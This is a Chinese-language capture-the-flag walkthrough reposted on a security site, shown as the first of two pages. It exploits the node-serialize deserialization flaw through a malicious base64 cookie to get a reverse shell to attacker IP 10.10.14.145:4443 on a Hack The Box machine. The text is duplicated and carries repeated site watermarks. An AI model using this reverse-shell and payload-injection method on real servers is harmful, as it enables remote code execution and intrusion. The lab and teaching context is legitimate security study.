欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Nodejs反序列化漏洞利用

来源: 作者: 时间:2019-02-24 21:00 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

演示环境
目标机- Hackthebox节点机(10.10.10.85:3000)
攻击者机器- Kali linux
需要的工具- nodejs, npm, [nodejs工具包],node-serialize
关于反序列化攻击
不受信任的数据被传递到unserialize()函数,这导致我们可以绕过JavaScript对象的函数表达式IIFE来实现任意的代码执行。首先我们在apt-get命令下安装nodejs包,如下所示:apt-get install nodejs

在下一步中,您需要在CURL命令下安装npm程序(使用npm 进一步安装node-serialize包),如下所示:curl -Lhttps://www.npmjs.com/install.sh | sh

安装和配置完Nodejs和Npm之后,还要安装node-serialize包,输入“ npm install node-serialize ”,如下所示:

我们已经与HacktheBox服务器连接,其服务器的IP为10.10.10.85:3000(运行Nodejs Express Framework,您可以使用Nmap Scanning进一步确认) 。

第一步,我们使用Burp Suite捕获上述Nodejs的GET请求,如下所示:

第二步中,选择cookie值并将其发送到Decoder选项进行进一步解密。

这个漏洞在于,它从HTTP请求中读取一个名为profile的cookie值,并对cookie值进行base64解码,并将其传递给unserialize()函数。所以攻击者可以构建恶意cookie值来利用这个漏洞。

第三步,您需要下载Ajin Abraham开发的Nodejs Security Toolkit工具,要安装Nodejs Security Toolkit,请在终端中键入以下命令。git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

要创建一个反向shell,首先,您需要输入“ ifconfig ”`` 找出IP ,然后运行以下命令:python nodejsshell.py 10.10.14.145 4443`

这是最后反向shell payload的输出。

现在让我们使用以下javascript生成序列化的payload
代码如下
var y = {
rce : function() {}
}
var serialize = require(‘node-serialize’);
console.log(“Serialized: \n” + serialize.serialize(y));

用大括号{    eval(String.from .........   })添加上面的payload输出,如下所示:

将文件另存为exploit.js并使用node命令运行,该命令生成最终的序列化payload,如下所示:node exploit.js

现在回到BurpSuite,导航到Decoder选项卡,将上面的输出代码粘贴到Textarea中,解码之前,在函数体后添加IIFE方括号(),在这里,我们需要Base64的编码,然后在Cookie头值中使用编码的payload向web服务器发出请求。

然后使用Repeater发送相同的请求。

[1] [2]  下一页

演示环境
目标机- Hackthebox节点机(10.10.10.85:3000)
攻击者机器- Kali linux
需要的工具- nodejs, npm, [nodejs工具包],node-serialize
关于反序列化攻击
不受信任的数据被传递到unserialize()函数,这导致我们可以绕过JavaScript对象的函数表达式IIFE来实现任意的代码执行。首先我们在apt-get命令下安装nodejs包,如下所示:apt-get install nodejs

在下一步中,您需要在CURL命令下安装npm程序(使用npm 进一步安装node-serialize包),如下所示:curl -Lhttps://www.npmjs.com/install.sh | sh

安装和配置完Nodejs和Npm之后,还要安装node-serialize包,输入“ npm install node-serialize ”,如下所示:

copyright 无奈人生


我们已经与HacktheBox服务器连接,其服务器的IP为10.10.10.85:3000(运行Nodejs Express Framework,您可以使用Nmap Scanning进一步确认) 。

第一步,我们使用Burp Suite捕获上述Nodejs的GET请求,如下所示:

第二步中,选择cookie值并将其发送到Decoder选项进行进一步解密。

这个漏洞在于,它从HTTP请求中读取一个名为profile的cookie值,并对cookie值进行base64解码,并将其传递给unserialize()函数。所以攻击者可以构建恶意cookie值来利用这个漏洞。
copyright 无奈人生


第三步,您需要下载Ajin Abraham开发的Nodejs Security Toolkit工具,要安装Nodejs Security Toolkit,请在终端中键入以下命令。git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

要创建一个反向shell,首先,您需要输入“ ifconfig ”`` 找出IP ,然后运行以下命令:python nodejsshell.py 10.10.14.145 4443`

这是最后反向shell payload的输出。

copyright 无奈人生


现在让我们使用以下javascript生成序列化的payload
代码如下
var y = {
rce : function() {}
}
var serialize = require(‘node-serialize’);
console.log(“Serialized: \n” + serialize.serialize(y));

用大括号{    eval(String.from .........   })添加上面的payload输出,如下所示:

将文件另存为exploit.js并使用node命令运行,该命令生成最终的序列化payload,如下所示:node exploit.js

现在回到BurpSuite,导航到Decoder选项卡,将上面的输出代码粘贴到Textarea中,解码之前,在函数体后添加IIFE方括号(),在这里,我们需要Base64的编码,然后在Cookie头值中使用编码的payload向web服务器发出请求。 copyright 无奈人生

然后使用Repeater发送相同的请求。
本文来自无奈人生安全网

[1] [2]  下一页

内容来自无奈安全网

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。